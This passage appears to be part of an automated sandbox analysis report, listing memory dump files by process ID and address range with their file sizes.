memory/796-92-0x0000000000820000-0x0000000000847000-memory.dmpFilesize
156KB
-
memory/796-96-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/824-102-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/824-98-0x0000000000850000-0x0000000000877000-memory.dmpFilesize
156KB
-
memory/1112-78-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/1112-69-0x0000000000110000-0x0000000000137000-memory.dmpFilesize
156KB
-
memory/1112-73-0x000007FEBD1F0000-0x000007FEBD200000-memory.dmpFilesize
64KB
-
memory/1396-10-0x00000000740D0000-0x00000000747BE000-memory.dmpFilesize
6.9MB
-
memory/1396-2-0x00000000008E0000-0x0000000000920000-memory.dmpFilesize
256KB
-
memory/1396-1-0x00000000740D0000-0x00000000747BE000-memory.dmpFilesize
6.9MB
-
memory/1396-0-0x0000000000D60000-0x0000000000D82000-memory.dmpFilesize
136KB
-
memory/1704-13-0x00000000047D0000-0x0000000004810000-memory.dmpFilesize
256KB
-
memory/1704-11-0x00000000740D0000-0x00000000747BE000-memory.dmpFilesize
6.9MB
-
memory/1704-12-0x0000000000EC0000-0x0000000000EE2000-memory.dmpFilesize
136KB
-
memory/1992-320-0x0000000036F10000-0x0000000036F20000-memory.dmpFilesize
64KB
-
memory/1992-319-0x00000000002D0000-0x00000000002F7000-memory.dmpFilesize
156KB
-
memory/2392-38-0x00000000023D0000-0x00000000023D8000-memory.dmpFilesize
32KB
-
memory/2392-34-0x000000001B070000-0x000000001B352000-memory.dmpFilesize
2.9MB
-
memory/2392-91-0x000007FEF48B0000-0x000007FEF524D000-memory.dmpFilesize
9.6MB
-
memory/2392-99-0x0000000002734000-0x0000000002737000-memory.dmpFilesize
12KB
-
memory/2392-106-0x000000000273B000-0x00000000027A2000-memory.dmpFilesize
412KB
-
memory/2580-21-0x00000000027D4000-0x00000000027D7000-memory.dmpFilesize
12KB
-
memory/2580-20-0x000007FEF5250000-0x000007FEF5BED000-memory.dmpFilesize
9.6MB
-
memory/2580-19-0x0000000001E10000-0x0000000001E18000-memory.dmpFilesize
32KB
-
memory/2580-18-0x000000001B2A0000-0x000000001B582000-memory.dmpFilesize
2.9MB
-
memory/2580-22-0x00000000027DB000-0x0000000002842000-memory.dmpFilesize
412KB
-
memory/2620-25-0x0000000076ED0000-0x0000000077079000-memory.dmpFilesize
1.7MB
-
memory/2620-26-0x0000000076CB0000-0x0000000076DCF000-memory.dmpFilesize
1.1MB
-
memory/2948-59-0x000000013FBD0000-0x00000001401E7000-memory.dmpFilesize
6.1MB